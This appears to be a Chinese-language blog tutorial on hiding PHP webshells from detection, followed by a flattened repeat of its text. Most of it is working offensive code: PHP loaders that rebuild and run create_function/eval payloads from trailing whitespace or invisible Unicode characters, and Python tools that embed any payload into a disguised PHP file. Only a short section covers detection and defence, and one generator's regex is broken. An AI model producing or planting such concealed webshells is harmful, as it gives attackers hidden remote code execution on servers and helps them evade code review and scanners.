我们要WebShell过人!
字数 1027 2025-08-15 21:31:19

WebShell 隐蔽技术详解

1. 基础 WebShell 隐蔽技术

1.1 基于空白字符的 WebShell

原理

  • 利用 PHP 文件每行末尾的空格和制表符(\t)隐藏代码
  • 制表符数量代表 ASCII 码 16 进制的第一位
  • 空格数量代表 ASCII 码 16 进制的第二位
  • 前 15 行空白字符组成 create_function
  • 后续行空白字符组成实际恶意代码(如 eval($_GET["pass"]);)

示例代码

<?php
class newDataProvider {
    public function __construct() {
        $f = file(__FILE__);
        $c = '';
        for ($i=0; $i<count($f); $i++) {
            $c .= $this->dataProcessor($f[$i]);
        }
        $t = create_function('',"$c");
        $t();
    }
    
    function dataProcessor($li) {
        preg_match('/([\t ]+)\r?\n?$/', $li, $m);
        if (isset($m[1])) {
            $l = dechex(substr_count($m[1], "\t"));
            $r = dechex(substr_count($m[1], " "));
            $n = hexdec($l.$r);
            return chr($n);
        }
        return "";
    }
}
new newDataProvider();
?>

自动化生成工具

import sys

def put_color(string, color):
    colors = {
        'red': '31',
        'green': '32',
        'yellow': '33',
        'blue': '34',
        'pink': '35',
        'cyan': '36',
        'gray': '2',
        'white': '37',
    }
    return '\033[40;1;%s;40m%s\033[0m' % (colors[color], str(string))

if len(sys.argv) not in [3, 4]:
    sys.exit('usage: python hidden_webshell.py payload filename [output_filename]\n'
             'example: python %s \'system("echo \\"hacked by Tr0y\\"");\' %s' % (
                 put_color('hidden_webshell.py', 'white'),
                 put_color('webshell.php', 'blue')
             ))

webshell_name = sys.argv[2]
hidden_name = sys.argv[3] if len(sys.argv) == 4 else 'webshell_hidden.php'
exp = sys.argv[1]  # 'system("echo \'hacked by Tr0y\'');'

if not exp.endswith(';'):
    print('[!] WARN: %s %s' % (
        put_color('The payload should end in', 'yellow'),
        put_color(';', 'cyan')
    ))

print('[+] Hide webshell')
print(' [-] Read from {}'.format(put_color(webshell_name, 'blue')))
print(' [-] Payload is {}'.format(put_color(exp, 'green')))

payload = 'create_function' + exp

with open(webshell_name, 'r') as fp:
    raw_php = fp.readlines()

for line, content in enumerate(payload):
    hex_num = hex(ord(content))
    tab_num = int(hex_num[2], 16)
    space_num = int(hex_num[3], 16)
    hidden = '\t' * tab_num + ' ' * space_num
    
    if line < len(raw_php):
        if raw_php[line].endswith('\n'):
            raw_php[line] = raw_php[line][:-1] + hidden + '\n'
        else:
            raw_php[line] = raw_php[line] + hidden
    else:
        raw_php.append(hidden + "\n")

with open(hidden_name, 'w') as fp:
    fp.writelines(raw_php)

print('[!] Saved as {}'.format(put_color(hidden_name, 'blue')))
print('[!] All done\n\nBye :)')

2. 进阶 WebShell 隐蔽技术

2.1 使用 Unicode 不可见字符

原理

  • 使用 Unicode 中的不可见字符(如 U+17B4, U+17B5)代替空格和制表符
  • 大多数编辑器和命令行工具不会显示这些字符
  • 将隐藏信息嵌入变量名中而非行尾,避免 PHP 解析错误

示例代码

<?php
class getHigherScore {
    public function __construct() {
        $lines = file(__FILE__);
        $lower = $higher = '';
        $count = 0;
        for ($i=0; $i<count($lines); $i++) {
            $value = $this->getArrayValue($lines[$i]);
            if ($value) $count += 1; else continue;
            if ($count < 16) $lower .= $value;
            else $higher .= $value;
        }
        $verifyScore = $lower('', "$higher");
        $result = $verifyScore();
        return $result;
    }
    
    function getArrayValue($test_str) {
        preg_match('/^\s\$[^឴឴឵឵]+([឴឴឵឵]+)/', $test_str, $match_test_1);
        preg_match('/^\s\$.*([឴឴឵឵]+)/', $test_str, $match_test_2);
        if (isset($match_test_1[0])) {
            $lower_char = dechex(substr_count($match_test_1[1], "឴឴"));
            $higher_char = dechex(substr_count($match_test_1[1], "឵឵"));
            $result = chr(hexdec($lower_char.$higher_char));
            return $result;
        } else if(isset($match_test_2[0])) {
            $matched = array();
            $content = str_replace("឵឵", 'b', str_replace("឴឴", 'w', $match_test_2[1]));
            for($i = 0; $i < strlen($content); $i++) {
                $matched[$i] = $content[$i] > 1024;
                if($content[$i] == $content[1]) {
                    $matched[$i] = 1;
                }
            }
            return pack('H*', base_convert(preg_replace('/[^\d]+/i', "", json_encode($matched)), 2, 16));
        }
        return '';
    }
}
$score = new getHigherScore();
?>

自动化生成工具

import re
import sys
import binascii

def put_color(string, color):
    colors = {
        'red': '31',
        'green': '32',
        'yellow': '33',
        'blue': '34',
        'pink': '35',
        'cyan': '36',
        'gray': '2',
        'white': '37',
    }
    return '\033[40;1;%s;40m%s\033[0m' % (colors[color], str(string))

if len(sys.argv) not in [3, 4]:
    sys.exit('usage: python hidden_webshell.py payload filename [output_filename]\n'
             'example: python %s \'system("echo \\"hacked by Tr0y\\"");\' %s' % (
                 put_color('hidden_webshell.py', 'white'),
                 put_color('webshell.php', 'blue')
             ))

webshell_name = sys.argv[2]
hidden_name = sys.argv[3] if len(sys.argv) == 4 else 'webshell_hidden.php'
exp = sys.argv[1]  # 'system("echo \'hacked by Tr0y\'');'

if not exp.endswith(';'):
    print('[!] WARN: %s %s' % (
        put_color('The payload should end in', 'yellow'),
        put_color(';', 'cyan')
    ))

print('[+] Hide webshell')
print(' [-] Read from {}'.format(put_color(webshell_name, 'blue')))
print(' [-] Payload is {}'.format(put_color(exp, 'green')))

hidden_str = ["឴឴", "឵឵"]  # U+17B4, U+17B5
payload = list('create_function' + exp)

with open(webshell_name, 'r') as fp:
    raw_php = fp.readlines()

last_line_num = var_count = 0
last_var = ''

for line_num, content in enumerate(raw_php):
    php_var = re.findall('^\s*(\$[0-9a-zA-Z]+)\s*=', content)
    if php_var:
        last_var = php_var[0]
        last_line_num = line_num
        var_count += 1

if not var_count:
    print('[!] ERROR: {}'.format(
        put_color('The PHP file must contains valid $vars', 'red'),
    ))

replaced = {}

for line_num, content in enumerate(raw_php[:last_line_num]):
    if not payload:
        break
    
    var_tmp = re.findall('^\s*(\$[0-9a-zA-Z]+)\s*=', content)
    if var_tmp:
        var = var_tmp[0]
        content = raw_php[line_num]
        char = payload.pop(0)
        print('隐藏', char, content)
        
        hex_num = hex(ord(char))
        tab_num = int(hex_num[2], 16)
        space_num = int(hex_num[3], 16)
        
        replace_str = var + hidden_str[0] * tab_num + hidden_str[1] * space_num
        replaced[var] = replace_str

for var in replaced:
    tmp = re.findall(re.escape(var)+'(?', raw_php[line_num])
    if tmp:
        var_to_replace = tmp[0]
        print(f'将{raw_php[line_num]} 中的 {var_to_replace} 替换为 {replaced[var]}')
        raw_php[line_num] = raw_php[line_num].replace(var_to_replace, replaced[var])

if payload:
    replace_str = bin(int(binascii.b2a_hex(bytes(''.join(payload), 'utf8')), 16))[2:].replace('0', hidden_str[0]).replace('1', hidden_str[1])
    replaced[last_var] = last_var[:2] + replace_str + last_var[2:]
    
    for var in replaced:
        tmp = re.findall(re.escape(var)+'(?', raw_php[last_line_num])
        if tmp:
            var_to_replace = tmp[0]
            print(f'将{raw_php[last_line_num]} 中的 {var_to_replace} 替换为 {replaced[var]}')
            raw_php[last_line_num] = raw_php[last_line_num].replace(var_to_replace, replaced[var])

with open(hidden_name, 'w') as fp:
    fp.writelines(raw_php)

print('[!] Saved as {}'.format(put_color(hidden_name, 'blue')))
print('[!] All done\n\nBye :)')

3. 检测与防御方法

3.1 检测方法

  1. 使用低级工具检查

    • 使用 od -c 命令查看文件实际内容
    • 使用十六进制编辑器检查文件
  2. 统计分析方法

    • 检查文件中的异常空白字符分布
    • 分析文件的信息熵特征
  3. 动态检测

    • 监控 PHP 的 create_function 调用
    • 检查异常的文件读取行为(读取自身)

3.2 防御措施

  1. 文件上传限制

    • 严格限制上传文件类型
    • 对上传的 PHP 文件进行内容检查
  2. 服务器配置

    • 禁用危险的 PHP 函数(create_function, eval 等)
    • 使用安全的文件权限设置
  3. 持续监控

    • 部署文件完整性监控
    • 设置 Web 应用防火墙(WAF)规则

4. 其他隐蔽技术

4.1 零宽度字符水印

  • 利用 Unicode 零宽度字符隐藏信息
  • 可用于追踪文件来源或嵌入标识信息
  • 示例工具: Zero-Width-Spaces-Hiden

4.2 文件名欺骗

  • 使用特殊 Unicode 字符创建类似正常文件的名称
  • 例如: index.php 使用 i\u17B4ndex.php
  • 检测方法: ls -a | od -c

5. 总结

隐蔽 WebShell 技术的关键点:

  1. 利用视觉盲区 - 使用人眼难以察觉的字符或格式
  2. 保持表面正常 - 文件看起来像合法业务代码
  3. 绕过自动化检测 - 避免常见的关键字匹配和模式识别
  4. 多层隐藏 - 结合多种隐蔽技术提高对抗性

防御这类隐蔽 WebShell 需要结合静态分析、动态监控和行为检测等多种手段,不能依赖单一防护措施。

WebShell 隐蔽技术详解 1. 基础 WebShell 隐蔽技术 1.1 基于空白字符的 WebShell 原理 利用 PHP 文件每行末尾的空格和制表符(\t)隐藏代码 制表符数量代表 ASCII 码 16 进制的第一位 空格数量代表 ASCII 码 16 进制的第二位 前 15 行空白字符组成 create_function 后续行空白字符组成实际恶意代码(如 eval($_GET["pass"]); ) 示例代码 自动化生成工具 2. 进阶 WebShell 隐蔽技术 2.1 使用 Unicode 不可见字符 原理 使用 Unicode 中的不可见字符(如 U+17B4, U+17B5)代替空格和制表符 大多数编辑器和命令行工具不会显示这些字符 将隐藏信息嵌入变量名中而非行尾,避免 PHP 解析错误 示例代码 自动化生成工具 3. 检测与防御方法 3.1 检测方法 使用低级工具检查 使用 od -c 命令查看文件实际内容 使用十六进制编辑器检查文件 统计分析方法 检查文件中的异常空白字符分布 分析文件的信息熵特征 动态检测 监控 PHP 的 create_function 调用 检查异常的文件读取行为(读取自身) 3.2 防御措施 文件上传限制 严格限制上传文件类型 对上传的 PHP 文件进行内容检查 服务器配置 禁用危险的 PHP 函数( create_function , eval 等) 使用安全的文件权限设置 持续监控 部署文件完整性监控 设置 Web 应用防火墙(WAF)规则 4. 其他隐蔽技术 4.1 零宽度字符水印 利用 Unicode 零宽度字符隐藏信息 可用于追踪文件来源或嵌入标识信息 示例工具: Zero-Width-Spaces-Hiden 4.2 文件名欺骗 使用特殊 Unicode 字符创建类似正常文件的名称 例如: index.php 使用 i\u17B4ndex.php 检测方法: ls -a | od -c 5. 总结 隐蔽 WebShell 技术的关键点: 利用视觉盲区 - 使用人眼难以察觉的字符或格式 保持表面正常 - 文件看起来像合法业务代码 绕过自动化检测 - 避免常见的关键字匹配和模式识别 多层隐藏 - 结合多种隐蔽技术提高对抗性 防御这类隐蔽 WebShell 需要结合静态分析、动态监控和行为检测等多种手段,不能依赖单一防护措施。